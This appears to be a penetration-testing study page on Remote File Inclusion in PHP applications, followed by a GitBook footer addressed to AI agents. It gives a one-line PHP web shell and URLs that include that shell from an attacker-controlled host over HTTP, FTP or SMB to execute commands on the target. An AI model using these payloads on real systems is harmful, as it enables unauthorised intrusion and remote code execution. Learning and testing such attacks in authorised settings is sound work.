> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/remote-file-inclusion-rfi.md).

# Remote File Inclusion (RFI)

* \
  The vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
  1. Enumerating local-only ports and web applications (i.e. SSRF)
  2. Gaining remote code execution by including a malicious script that we host
* Almost any Remote File Inclusion vulnerability is also an [Local File Inclusion (LFI)](/cybersecurity/local-file-inclusion-lfi.md) vulnerability, as any function that allows including remote URLs usually also allows including local ones
  * an LFI may not necessarily be an RFI.
    * The vulnerable function may not allow including remote URLs
    * You may only control a portion of the filename and not the entire protocol wrapper (ex: `http://`, `ftp://`, `https://`).
    * The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default

```
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
```

### Remote Code Execution with RFI

```shell-session
 echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

* start a [Personal web server](app://obsidian.md/Personal%20web%20server)

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

#### FTP

* if FTP is blocked use FTP server
  * setup ftp server [Setup FTP Server](app://obsidian.md/Personal%20web%20server#FTP%20Server)

```
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

* cli version

```shell-session
 curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
```

#### SMB

* if a windows web server is being used

  ```shell-session
  impacket-smbserver -smb2support share $(pwd)
  ```

```
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.wehost.co.in/cybersecurity/remote-file-inclusion-rfi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
